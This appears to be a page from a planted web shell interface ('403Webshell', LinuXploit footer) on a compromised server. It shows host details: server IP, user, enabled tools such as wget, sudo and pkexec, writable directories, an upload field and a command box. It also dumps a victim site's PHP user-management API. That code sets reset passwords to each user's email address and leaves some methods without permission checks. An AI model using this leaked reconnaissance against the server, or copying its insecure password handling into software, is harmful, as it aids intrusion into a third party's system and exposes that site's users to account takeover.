403Webshell
Server IP : 37.9.174.138  /  Your IP : 216.73.216.117
Web Server : Apache
System : Linux vps6.backend.sk 6.12.100+deb13-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.12.100-1 (2026-07-30) x86_64
User : ftpuser ( 1001)
PHP Version : 8.4.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/ttjs.cz/dev/modules/ttjs/admin/api/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/ttjs.cz/dev/modules/ttjs/admin/api/UsersManagement.php
<?php
/*
 * To change this license header, choose License Headers in Project Properties.
 * To change this template file, choose Tools | Templates
 * and open the template in the editor.
 */

namespace modules\ttjs\admin\api;

use modules\users\code\UsersConfig as Config;

/**
 * @includeInDoc false
 * @description ""
 * @requiresAuthorization "No."
 */
class UsersManagement extends \app\classes\ApiClass {

    private $currency;

    public function __construct() {
        parent::__construct();
        $this->table = "users";
        $cnf = new \modules\ttjs\code\TtjsConfig();
        $this->currency = $cnf->getConfig(\modules\ttjs\code\TtjsConfig::CURRENCY);
    }

    /**
     * @includeInDoc false
     * @requestMethod "POST"
     * @VerifyPermissions ["R"]
     * 
     */
    public function getUsers() {
        $items = new \modules\ttjs\code\UsersExtendedDatatable();
        $items->prepareAjaxTableData($this->urlReader->getPost());
        $this->restApi->ajaxResponseRaw($items->getReponseData());
    }

    public function getRegistrationLink() {
        throw new Exception(\app\constants\ResponseCodes::METHOD_NOT_ALLOWED, \app\constants\ResponseCodes::METHOD_NOT_ALLOWED);
        $db = \app\classes\PDODatabase::getInstance();
        $code = time() . generateRandomString(85);
        $db->addRecord("registration_codes", array(
            "registrator" => $this->loggedUser->_get("id"),
            "code" => $code
        ));
        $this->restApi->ajaxResponse(array("link" => $this->app->getBaseUrl() . $this->app->getPageAddress(\app\constants\Config::REGISTRATION_PAGE) . "/" . $code . "/"));
    }

    /**
     * @includeInDoc true
     * @requestMethod "POST"
     * @RequiredPostParameters ["id"]
     * @VerifyPermissions ["R"]
     * 
     */
    public function getItem() {
        $user = new \app\classes\BasicUser($this->urlReader->getPost("id"), true, false, true);
        $userData = prepareInputData(array("id", "last_update", "first_name", "phone", "last_name", "last_name_birth", "state", "iban", "email", "type", "color", "note", "personalno", "tags"), $user->toArray());
        $this->restApi->ajaxResponse($userData);
    }

    /**
     * @includeInDoc true
     * @requestMethod "POST"
     * @RequiredPostParameters ["id"]
     * @VerifyPermissions ["W"]
     * 
     */
    public function getPaymentData() {
        $user = new \app\classes\BasicUser($this->urlReader->getPost("id"), true, false, true);
        $months = \modules\ttjs\code\Stocks::getMonths();
        $month = $this->translator->_get($months[date("m", strtotime('last day of -1 month'))]);
        $year = $this->translator->_get(date("Y", strtotime('last day of -1 month')));
        $note = $this->translator->_get("Provízia za") . " " . $month . " " . $year . " (" . $this->app->getConfig(\app\constants\Config::PAGE_NAME) . ")";

        $info = '<h2 style="margin-top: 7px;" class="text-center"><b>' . $user->_get("first_name") . " " . $user->_get("last_name") . " " . $user->_get("last_name_birth") . ' </b><small>(' . $user->_get("personalno") . ')</small></h2>'
                . '<h3 style="margin-top: 7px;" class="text-center hideOnSuccess"><span style="color: red"><b>' .
                \modules\ttjs\code\Currency::getRoundedVal($user->getStock()->_get("unpaid_commission"), $this->currency, true)
                . '</b></span></h3>'
                . '<h5 class="text-center hideOnSuccess">(' . $this->translator->_get("nevyplatená provízia") . ')</h5>' .
                (!\modules\ttjs\code\Currency::isValidBankAccount($user->_get("iban")) && !\modules\ttjs\code\Currency::checkIBAN($user->_get("iban")) ? ''
                . '<div class="alert alert-danger"><i class="fa fa-exclamation-triangle"></i> ' . $this->translator->_get("IBAN alebo číslo účtu je pravdepodobne neplatné! Skontrolujte jeho správnosť.") . '</div>' : '')
                . '<hr>';

        $data = array(
            "users_id" => $user->_get("id"),
            "amount" => $user->getStock()->_get("unpaid_commission"),
            "note" => $note,
            "info" => $info
        );
        $this->restApi->ajaxResponse($data);
    }

    /**
     * @includeInDoc false
     * @requestMethod "POST"
     * @RequiredPostParameters ["id"]
     * 
     */
    protected function approveRegistration() {
        $user = new \app\classes\BasicUser($this->urlReader->getPost("id"), true, false, true);
        if (strlen($user->_get("secret")) > 10) {
            throw new \Exception(\app\constants\ResponseCodes::METHOD_NOT_ALLOWED, \app\constants\ResponseCodes::METHOD_NOT_ALLOWED);
        }
        $password = $user->_get("email");

        $user->update(array(
            "password" => password_hash($password, PASSWORD_BCRYPT),
            "secret" => generateRandomString(40),
            "state" => \app\constants\State::CREATED
        ));

        $this->restApi->setCustomMessage("Používateľský účet bol úspešne vytvorený. Heslo požívateľa je totožné s jeho loginom.");

//        $domain = $this->app->getConfig(\app\constants\Config::DOMAIN);
//        $translator = \app\classes\Translator::getInstance();
//        $header = array(
//            'From: "' . $domain . '" <info@' . $domain . '>',
//            'Reply-To: "No Reply" <noreply@' . $domain . '>',
//            "MIME-Version: 1.0",
//            "Content-type:text/html;charset=UTF-8"
//        );
//
//
//        $headers = implode("\r\n", $header);
//
//        $msg = $translator->convertVarsText($translator->_get("email-user_approve"), array(
//            "type" => array(
//                "translate" => false,
//                "value" => \app\constants\UserType::getStateMessage($user->_get("type"))
//            ),
//            "password" => array(
//                "translate" => false,
//                "value" => $password
//            ),
//            "email" => array(
//                "translate" => false,
//                "value" => $user->_get("email")
//            ),
//            "page_name" => array(
//                "translate" => false,
//                "value" => $this->app->getConfig(\app\constants\Config::PAGE_NAME)
//            ),
//            "login_page" => array(
//                "translate" => false,
//                "value" => $this->app->getBaseUrl() . $this->app->getPageAddress(\app\constants\Config::LOGIN_PAGE) . "/"
//            )
//        ));
//        if ($this->app->sendEmailNative($user->_get("email"), $translator->_get("User - registration approved"), $msg, $headers)) {
//            $user->update(array(
//                "password" => password_hash($password, PASSWORD_BCRYPT),
//                "secret" => generateRandomString(40),
//                "state" => \app\constants\State::ACTIVE
//            ));
//            $this->restApi->setCustomMessage("Registrácia bola schválená. Používateľovi bol odoslaný e-mail s heslom pre prihlásenie.");
//        } else {
//            $this->restApi->setHttpResponseCode(\app\constants\HttpReponseCodes::HTTP_INTERNAL_SERVER_ERROR);
//            $this->restApi->setCode(\app\constants\HttpReponseCodes::HTTP_INTERNAL_SERVER_ERROR);
//            $this->restApi->setErrorReason("Error");
//            $this->restApi->setCustomMessage("E-mail s heslom sa nepodaril odoslať. Skúste znova.");
//        }
    }

    /**
     * @includeInDoc false
     * @requestMethod "POST"
     * @RequiredPostParameters ["id"]
     * @VerifyPermissions ["W"]
     * 
     */
    public function deleteUser() {
        $cnf = new Config;
        $userToDelete = new \app\classes\BasicUser($this->urlReader->getPost("id"), true, false, true);
        $this->verifyRights($userToDelete->_get("type"), $cnf->getConfig(Config::CONF_USERS_TYPES_MANAGEMENT)[$this->loggedUser->_get("type")]);

        $this->verifyLock();
        if (intval($userToDelete->_get("id")) === intval($this->loggedUser->_get("id"))) {
            throw new \Exception(\app\constants\ResponseCodes::ACCESS_DENIED, \app\constants\ResponseCodes::ACCESS_DENIED);
        }
//        if (intval($userToDelete->_get("grade")) <= intval($this->loggedUser->_get("grade"))) {
//            throw new \Exception(\app\constants\ResponseCodes::ACCESS_DENIED, \app\constants\ResponseCodes::ACCESS_DENIED);
//        }
        $userToDelete->delete();
    }

    /**
     * @includeInDoc false
     * @requestMethod "POST"
     * @RequiredPostParameters ["id"]
     * @VerifyPermissions ["W"]
     * 
     */
    public function resetPassword() {
        $cnf = new Config;
        $user = new \app\classes\BasicUser($this->urlReader->getPost("id"), true, false, true);
        $this->verifyRights($user->_get("type"), $cnf->getConfig(Config::CONF_USERS_TYPES_MANAGEMENT)[$this->loggedUser->_get("type")]);

        $this->verifyLock();
        if (intval($user->_get("id")) === intval($this->loggedUser->_get("id"))) {
            throw new \Exception(\app\constants\ResponseCodes::ACCESS_DENIED, \app\constants\ResponseCodes::ACCESS_DENIED);
        }
//        if (intval($userToDelete->_get("grade")) <= intval($this->loggedUser->_get("grade"))) {
//            throw new \Exception(\app\constants\ResponseCodes::ACCESS_DENIED, \app\constants\ResponseCodes::ACCESS_DENIED);
//        }
        $user->update(array(
            "password" => password_hash($user->_get("email"), PASSWORD_BCRYPT),
            "secret" => generateRandomString(40),
            "state" => \app\constants\State::CREATED
        ));
    }

    /**
     * @includeInDoc false
     * @requestMethod "POST"
     * @RequiredPostParameters ["first_name", "last_name"]
     * @VerifyPermissions ["R"]
     * 
     */
    public function manage() {

        $cnf = new Config;
        $db = \app\classes\PDODatabase::getInstance();

        try {
            $item = new \app\classes\BasicUser($this->urlReader->getPost("id"), true, false, true);
            $this->verifyRights($item->_get("type"), $cnf->getConfig(Config::CONF_USERS_TYPES_MANAGEMENT)[$this->loggedUser->_get("type")]);
            if (intval($item->_get("id")) === intval($this->loggedUser->_get("id"))) {
                $_POST["type"] = $this->loggedUser->_get("type");
            }
            $throw = false;
            if ($throw && !$this->loggedUser->isAdmin()) {
                throw new \Exception(\app\constants\ResponseCodes::ACCESS_DENIED, \app\constants\ResponseCodes::ACCESS_DENIED);
            }

            $_POST["color"] = "#000000";

            if (!$this->loggedUser->isAdmin()) {
                $_POST["personalno"] = $item->_get("personalno");
            }

            $data = prepareInputData(array("email", "note", "iban", "personalno", "tags", "last_update", "first_name", "phone", "last_name", "last_name_birth", "state", "type", "color"), $this->urlReader->getPost());
        } catch (\Exception $ex) {

            $personalno = $this->urlReader->getPost("personalno");
            if (strlen(trim($personalno)) === 0) {
                $personalno = $db->getValue("SELECT MAX(personalno) FROM users");
                if ($personalno === null) {
                    $personalno = 0;
                }
                $personalno++;
                $_POST["personalno"] = $personalno;
            }

            $_POST["state"] = \app\constants\State::CREATED;

            $this->verifyRights($this->urlReader->getPost("type"), $cnf->getConfig(Config::CONF_USERS_TYPES_MANAGEMENT)[$this->loggedUser->_get("type")]);

            if (!in_array($this->urlReader->getPost("type"), \app\constants\UserType::getConstants())) {
                throw new \Exception($this->translator->_get("Zvoľte typ používateľa!"), \app\constants\ResponseCodes::INVALID_INPUT);
            }

            if ($ex->getCode() !== \app\constants\ResponseCodes::ITEM_NOT_FOUND) {
                throw new \Exception($ex->getMessage(), $ex->getCode(), $ex->getPrevious());
            }

            $item = \app\classes\BasicUser::newUser($this->urlReader->getPost());
            $item->update(array("grade" => $this->loggedUser->_get("grade") + 1));

            $_POST["id"] = $item->_get("id");

            $_POST["color"] = "#000000";
            $data = prepareInputData(array("note", "note", "iban", "personalno", "tags", "last_update", "first_name", "last_name_birth", "phone", "last_name", "state", "color"), $this->urlReader->getPost());
            $data["last_update"] = $item->_get("last_update");
            if ($item->_get("state") === \app\constants\State::CREATED) {
                $data["state"] = \app\constants\State::CREATED;
            }
            $item->update($data);

            $translator = \app\classes\Translator::getInstance();
            $t = $translator;

            $vars = array(
                "verification_link" => array(
                    "translate" => false,
                    "value" => $this->app->getBaseUrl() . $this->app->getPageAddress(\app\constants\Config::REGISTRATION_VERIFICATION_PAGE) . "/" . $item->_get("secret") . "/"
                ),
                "page_name" => array(
                    "translate" => false,
                    "value" => $this->app->getConfig(\app\constants\Config::PAGE_NAME)
                ),
                "base_url" => array(
                    "translate" => false,
                    "value" => $this->app->getBaseUrl()
                )
            );
            foreach ($item->toArray() as $key => $val) {
                $vars[$key] = array(
                    "translate" => false,
                    "value" => $val
                );
            }

            $vars["type"] = array("translate" => false, "value" => \app\constants\UserType::getStateMessage($item->_get("type")));

            $msg = $translator->convertVarsText($translator->_get("email-" . ($this->urlReader->getPost("type") === \app\constants\UserType::ENGINEER ? "partner_" : "") . "registration_verification"), $vars);
            $this->app->sendEmailNative($item->_get("email"), $translator->convertVarsText($translator->_get("email-" . ($this->urlReader->getPost("type") === \app\constants\UserType::ENGINEER ? "partner_" : "") . "registration_verification-subject"), $vars), $msg);

            $this->restApi->ajaxResponse(array(
                "title" => $t->_get("Účet bol úspešne vytvorený."),
                "text" => $t->_get("Na zadanú e-mailovú adresu bol zaslaný verifikačný e-mail."),
                "print" => "<h1><b>" . $item->_get("personalno") . "</b></h1>"
                . "<a class='btn btn-primary' target='_blank' href='/api/admin/ttjs/usersManagement/printLabel/?id=" . $item->_get("id") . "'><i class='fa fa-print'></i> " . $t->_get("Vytlačiť štítok") . "</a>"
            ));
        }
        $this->verifyLock();
        if ($item->_get("state") === \app\constants\State::CREATED) {
            $data["state"] = \app\constants\State::CREATED;
        }
        $item->update($data);
    }

    /**
     * @includeInDoc false
     * @requestMethod "POST"
     * @RequiredPostParameters ["id"]
     * @VerifyPermissions ["W"]
     * 
     */
    public function changeIdentity() {
        if (!$this->loggedUser->isAdmin()) {
            throw new \Exception(\app\constants\ResponseCodes::ACCESS_DENIED, \app\constants\ResponseCodes::ACCESS_DENIED);
        }
        $user = new \app\classes\BasicUser($this->urlReader->getPost("id"), true);
        $_SESSION["basicUser"] = $user->_get("email");
        $_SESSION["email"] = $user->_get("email");
        $_SESSION["type"] = $user->_get("type");
        unset($_SESSION["adminUser"]);
    }

    /**
     * @includeInDoc false
     * @requestMethod "POST"
     * @RequiredPostParameters ["id"]
     *
     */
    public function switchVerifiedStatus() {
        $item = new \app\classes\BasicUser($this->urlReader->getPost("id"), true);
        $item->update(array("verified" => intval($item->_get("verified")) === 0 ? 1 : 0));
    }

    /**
     * @includeInDoc false
     * @requestMethod "POST"
     * @RequiredGetParameters ["id"]
     *
     */
    public function printLabel() {
        $t = \app\classes\Translator::getInstance();
        $item = new \app\classes\BasicUser($this->urlReader->getMetaUrlParam("id"), true, true, true);
        $date = date("Y-m-d");

        $photo = $this->urlReader->getMetaUrlParam("photo");
        $sendEmail = $this->urlReader->getMetaUrlParam("sendEmail");

        if ($photo === false && $sendEmail === false) {
            ?>
            <div style="text-align: center; margin-top: 100px;">
                <h1><?php echo $t->_get("Posielala klientka foto oblečenia?") ?></h1>
                <h1>
                    <a style="margin-right: 100px; color: #009688" href="<?php echo getCurrentUrl() ?>&photo=true<?php echo (date("Y-m-d", strtotime($item->_get("print_label_sent_at"))) === $date ? "&sendEmail=false" : "") ?>"><?php echo $t->_get("Áno") ?></a>
                    <a style="color: #f44336;" href="<?php echo getCurrentUrl() ?>&photo=false<?php echo (date("Y-m-d", strtotime($item->_get("print_label_sent_at"))) === $date ? "&sendEmail=false" : "") ?>"><?php echo $t->_get("Nie") ?></a>
                </h1>
            </div>
            <?php
            exit;
        } else if ($sendEmail === false) {
            ?>
            <div style="text-align: center; margin-top: 100px;">
                <h1><?php echo $t->_get("Odoslať potvrdenie o prijatí oblečenia?") ?></h1>
                <h1>
                    <a style="margin-right: 100px; color: #009688" href="<?php echo getCurrentUrl() ?>&sendEmail=true"><?php echo $t->_get("Áno") ?></a>
                    <a style="color: #f44336;" href="<?php echo getCurrentUrl() ?>&sendEmail=false"><?php echo $t->_get("Nie") ?></a>
                </h1>
            </div>
            <?php
            exit;
        }

        $photo = filter_var($this->urlReader->getMetaUrlParam("photo"), FILTER_VALIDATE_BOOLEAN);
        $sendEmail = filter_var($this->urlReader->getMetaUrlParam("sendEmail"), FILTER_VALIDATE_BOOLEAN);

        if ($sendEmail && date("Y-m-d", strtotime($item->_get("print_label_sent_at"))) !== $date) {
            $item->update(["print_label_sent_at" => $date]);
            $vars = array(
                "date" => array(
                    "translate" => false,
                    "value" => date("d.m.Y", strtotime($date))
            ));
            $msg = $this->translator->convertVarsText($this->translator->_get("EMAIL-print_label_notification"), $vars);
            $this->app->sendMultipleEmails($item->_get("email"), $this->translator->convertVarsText($this->translator->_get("EMAIL-print_label_notification-SUBJECT"), $vars), $msg);
        }

        $pdf = self::generatePrintLabel($item, $photo);

        $path = false;
        if ($path === false) {
            ob_clean();
            $pdf->Output(transliterateString($t->_get("štítok"), true) . "-" . $item->_get("personalno"));
            exit;
        } else {
            $pdf->Output(DOCUMENT_ROOT . substr($path, 1), "F");
        }
    }

    /**
     * @includeInDoc false
     * @requestMethod "POST"
     * @RequiredPostParameters ["users_id", "items_count", "total_commission", "unpaid_commission"]
     *
     */
    public function updateDefaultStock() {
        $user = new \app\classes\BasicUser($this->urlReader->getPost("users_id"), true, true, true);
        if (!$user->isDefaultStockEditable()) {
            throw new \Exception("default stock is not editable", \app\constants\ResponseCodes::ACCESS_DENIED);
        }
        $defaultStock = $user->getDefaultStock();
        $defaultStock->update(prepareInputData(array("items_count", "total_commission", "unpaid_commission"), $this->urlReader->getPost()));
    }

    /**
     * @includeInDoc false
     * @requestMethod "POST"
     * @RequiredPostParameters ["id"]
     * @VerifyPermissions ["R"]
     * 
     */
    public function resendRegistrationEmail() {
        $cnf = new Config;
        $item = new \app\classes\BasicUser($this->urlReader->getPost("id"), true, false, true);
        $this->verifyRights($item->_get("type"), $cnf->getConfig(Config::CONF_USERS_TYPES_MANAGEMENT)[$this->loggedUser->_get("type")]);
        if ($item->_get("state") === \app\constants\State::CREATED) {
            $translator = \app\classes\Translator::getInstance();
            $t = $translator;

            $vars = array(
                "verification_link" => array(
                    "translate" => false,
                    "value" => $this->app->getBaseUrl() . $this->app->getPageAddress(\app\constants\Config::REGISTRATION_VERIFICATION_PAGE) . "/" . $item->_get("secret") . "/"
                ),
                "page_name" => array(
                    "translate" => false,
                    "value" => $this->app->getConfig(\app\constants\Config::PAGE_NAME)
                ),
                "base_url" => array(
                    "translate" => false,
                    "value" => $this->app->getBaseUrl()
                )
            );
            foreach ($item->toArray() as $key => $val) {
                $vars[$key] = array(
                    "translate" => false,
                    "value" => $val
                );
            }

            $vars["type"] = array("translate" => false, "value" => \app\constants\UserType::getStateMessage($item->_get("type")));

            $msg = $translator->convertVarsText($translator->_get("email-" . ($item->_get("type") === \app\constants\UserType::ENGINEER ? "partner_" : "") . "registration_verification"), $vars);
            $sent = $this->app->sendEmailNative($item->_get("email"), $translator->convertVarsText($translator->_get("email-" . ($item->_get("type") === \app\constants\UserType::ENGINEER ? "partner_" : "") . "registration_verification-subject"), $vars), $msg);
            if (!$sent) {
                throw new \Exception($t->_get("E-mail sa nepodarilo odoslať."), \app\constants\ResponseCodes::ERROR);
            }
        }
    }

    /**
     * @includeInDoc false
     * @requestMethod "POST"
     */
    public function getDuplicitiesHTML() {
        $this->restApi->ajaxResponse(array(
            "html" => ob_require(__DIR__ . "/../templates/partners/includes/duplicities.php")
        ));
    }

    public static function generatePrintLabel(\app\classes\BasicUser $item, bool $photo): \TCPDF {
        $app = \App::getInstance();
        $t = \app\classes\Translator::getInstance();

        $pdf = new \TCPDF("P", PDF_UNIT, PDF_PAGE_FORMAT, true, 'UTF-8', false);

        $pdf->SetCreator(PDF_CREATOR);
        $pdf->SetAuthor($app->getConfig(\app\constants\Config::PAGE_NAME));
        $pdf->SetTitle($t->_get("Štítok") . " " . $item->_get("personalno"));
        $pdf->SetSubject($t->_get("Štítok") . " " . $item->_get("personalno"));

        $pdf->setHeaderFont(Array(PDF_FONT_NAME_MAIN, '', PDF_FONT_SIZE_MAIN));
        $pdf->setFooterFont(Array(PDF_FONT_NAME_DATA, '', PDF_FONT_SIZE_DATA));

        $pdf->SetDefaultMonospacedFont(PDF_FONT_MONOSPACED);

        $pdf->SetMargins(0, 0, 0);
        $pdf->SetHeaderMargin(PDF_MARGIN_HEADER);
        $pdf->SetFooterMargin(PDF_MARGIN_FOOTER);

        $pdf->SetAutoPageBreak(TRUE, PDF_MARGIN_BOTTOM);

        $pdf->setImageScale(PDF_IMAGE_SCALE_RATIO);

        $pdf->SetPrintHeader(false);
        $pdf->SetPrintFooter(false);

        $pdf->SetAutoPageBreak(false);
        $pdf->AddPage();

        $tags = explode(";", $item->_get("tags"));
        foreach ($tags as $key => $val) {
            if (strlen($val) > 10 || strlen(trim($val)) === 0) {
                unset($tags[$key]);
            }
        }

        if (count($tags) > 0) {
            $pdf->SetFont('dejavusans', 'B', 18);
            $pdf->SetXY(0, 3);
            $pdf->Cell(58, 0, $item->_get("personalno"), 0, 0, "C");

            $pdf->SetFont('dejavusans', 'B', 11);
            $pdf->SetXY(0, 12);
            $pdf->Cell(58, 0, $item->_get("last_name") . " " . $item->_get("first_name"), 0, 0, "C");

            $pdf->SetFont('dejavusans', '', 15);
            $pdf->SetXY(0, 18.5);
            $pdf->Cell(58, 0, implode(", ", $tags), 0, 0, "C");

            $pdf->SetFont('dejavusans', '', 11);
            $pdf->SetXY(0, 27);
            $pdf->Cell(58, 0, date("d.m.Y"), 0, 0, "C");

            $pdf->Image(DOCUMENT_ROOT . "img/camera" . ($photo ? "" : "-no") . ".png", 24, 33, 0, 8, '', '', '', false, 300);

            $pdf->Line(0, 43, 58, 43);
        } else {
            $pdf->SetFont('dejavusans', 'B', 18);
            $pdf->SetXY(0, 3);
            $pdf->Cell(58, 0, $item->_get("personalno"), 0, 0, "C");

            $pdf->SetFont('dejavusans', 'B', 11);
            $pdf->SetXY(0, 12);
            $pdf->Cell(58, 0, $item->_get("last_name") . " " . $item->_get("first_name"), 0, 0, "C");

            $pdf->SetFont('dejavusans', '', 11);
            $pdf->SetXY(0, 19);
            $pdf->Cell(58, 0, date("d.m.Y"), 0, 0, "C");

            $pdf->Image(DOCUMENT_ROOT . "img/camera" . ($photo ? "" : "-no") . ".png", 24, 25, 0, 8, '', '', '', false, 300);

            $pdf->Line(0, 35.5, 58, 35.5);
        }

        return $pdf;
    }

}

Youez - 2016 - github.com/yon3zu
LinuXploit